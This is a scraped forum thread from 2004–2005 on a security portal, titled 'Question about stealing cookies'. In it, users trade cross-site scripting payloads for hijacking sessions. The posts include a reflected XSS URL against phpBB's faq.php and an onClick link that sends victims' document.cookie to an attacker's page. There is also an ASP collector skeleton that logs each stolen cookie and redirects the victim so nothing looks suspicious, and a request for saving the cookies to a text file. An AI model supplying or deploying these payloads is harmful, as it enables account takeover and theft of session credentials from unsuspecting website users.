Waraxe IT Security Portal
Login or Register
September 16, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 79
Members: 0
Total: 79
Full disclosure
CVE-2024-25286 - RedSys - A Cross-Site Request Forgery (CSRF) vulnerability was identified in the Authorization Method of 3DSecure 2.0
CVE-2024-25285 - RedSys - 3DSecure 2.0 is vulnerable to form action hijacking
CVE-2024-25284 - RedSys - Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0
CVE-2024-25283 - RedSys - Multiple reflected Cross-Site Scripting (XSS) vulnerabilities exist in the 3DS Authorization Challenge of 3DSecure 2.0
CVE-2024-25282 - RedSys - 3DSecure 2.0 is vulnerable to Cross-Site Scripting (XSS) in its 3DSMethod Authentication
KL-001-2024-012: VICIdial Authenticated Remote Code Execution
KL-001-2024-011: VICIdial Unauthenticated SQL Injection
OXAS-ADV-2024-0005: OX App Suite Security Advisory
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Question about stealing cookies
Post new topicReply to topic View previous topic :: View next topic
Question about stealing cookies
PostPosted: Wed Jul 21, 2004 10:26 am Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result Sad. Knows somebody to that it must?

Thx very much!

PD: Sorry of my english, Confused
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 2:12 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Quote:


--------------------------------------------------------------------------------

Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result . Knows somebody to that it must?

Thx very much!


www.web.com/cookie.php <-- your site with a special page to gather cookies from a querystring and store in somewhere(db, file, etc)

but theres no use if u click the link cause will send your cookies to the page... lol not the one u want

Got it?

If not, mail me or pvt..

Best Regards

r0ot

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 3:11 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




If, that page is prepared, but it does not go Sad (I don't know the reason),

Can give me an example for this bug? (If there are)

Thanks!
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 6:29 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 10:12 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




That already I have fact, the problem is that it does not work to me: (

Thx!!
View user's profile Send private message
PostPosted: Thu Jul 22, 2004 12:33 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Np m8, anytime.

If u want help juz pm me

_________________
View user's profile Send private message
WTF
PostPosted: Fri Jul 23, 2004 8:57 pm Reply with quote
Cface
Beginner
Beginner
Joined: Jul 23, 2004
Posts: 3




Hey I'm pretty stupid so could you break it down to me. I'm new to this.

_________________
I g0t hack3d, now it's payback!
View user's profile Send private message Yahoo Messenger MSN Messenger
PostPosted: Thu May 05, 2005 12:35 pm Reply with quote
KarachiKing555
Beginner
Beginner
Joined: May 05, 2005
Posts: 1




r0ot wrote:
sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?


what if i want cookies in txt file ! on my server ??
View user's profile Send private message
Question about stealing cookies
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.124 Seconds